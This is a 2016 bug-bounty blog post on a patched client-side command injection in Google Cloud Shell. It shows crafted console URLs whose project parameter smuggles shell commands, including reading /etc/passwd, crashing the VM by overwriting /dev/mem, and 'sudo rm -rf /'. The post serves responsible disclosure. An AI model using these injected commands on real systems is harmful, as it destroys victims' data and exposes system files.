How I got 6000$ from #Google

Pranav Venkat
3 min readOct 9, 2016

--

Hey all ,

Few months back I found a command injection bug in Google Cloud shell

Since the title goes by the name “command injection” , you all might be thinking it as “normal Command injection which affects servers” but this vulnerability is quite different.

We can put this in different way as “Client Side command injection”.

About Google Cloud shell you can refer here “ Google Cloud Shell

Lets get into the finding

While I was testing “console.cloud.google.com” , There was one url with this pattern

https://console.cloud.google.com/home/dashboard?project="name of the project”

Ok thats cool :v ,

Tested for IDOR ,

Crafted the url as

https://console.cloud.google.com/home/dashboard?project="Random project name”

Eg:

https://console.cloud.google.com/home/dashboard?project=project-1 (not vulnerable to IDOR)

But reflected the name of project in Cloud shell.

So Tested for XSS ,

Crafted the url as

https://console.cloud.google.com/home/dashboard?project="XSS vector” (not vulnerable to XSS)

On activating cloud shell “there was some syntax error”

Now the creepy mind of mine came with idea :P to use delimiter ,

Crafted the url as ,

https://console.cloud.google.com/home/dashboard?project=;

There was no syntax error , and cloudshell created successfully!

Now the exploit part ,

In linux we can chain commands in various ways , the one way is by using semi-colon operator

Eg: apt-get update; apt-get upgrade

Once again ->

https://console.cloud.google.com/home/dashboard?project=;ping google.com

The above url created cloud shell , and pinged google.com

That worked perfectly

https://console.cloud.google.com/home/dashboard?project=;cat /etc/passwd

Ok , its self-execution ,it only got executed in my own cloud shell . Now I was clear “I can inject commands which affects my own vm but not Google servers”

To make this as exploitable issue , I came with these ideas,,

Crashing Victim vm :

https://console.cloud.google.com/home/dashboard?project=;sudo cp /dev/zero /dev/mem

Once victim access the above url and click “Activate cloud shell” , his/her vm crashes.

Deleting files: (this one had much impact than previous command)

https://console.cloud.google.com/home/dashboard?project=;sudo rm -rf /

This will delete victims root directory which also deletes appengine files!

According to my research: Once the victim access the crafted url , Victim must click “Activate cloud shell” , in order to make the attack successful!

But Google Security Team tested and found that , to make attack successful there is no need of (click) user interaction.

Now the issue has been patched , I was rewarded 6000$ for my finding

and also Google Security Team featured this Vulnerability at #Nullcon

This vulnerability existed in bash script created in client side (javascript) , it affected

-> https://console.cloud.google.com

-> https://console.developer.google.com

Thanks to #Google Security Team :)

For remaining Google’s presentation slides you can refer here “ Secrets Of Google VRP

--

--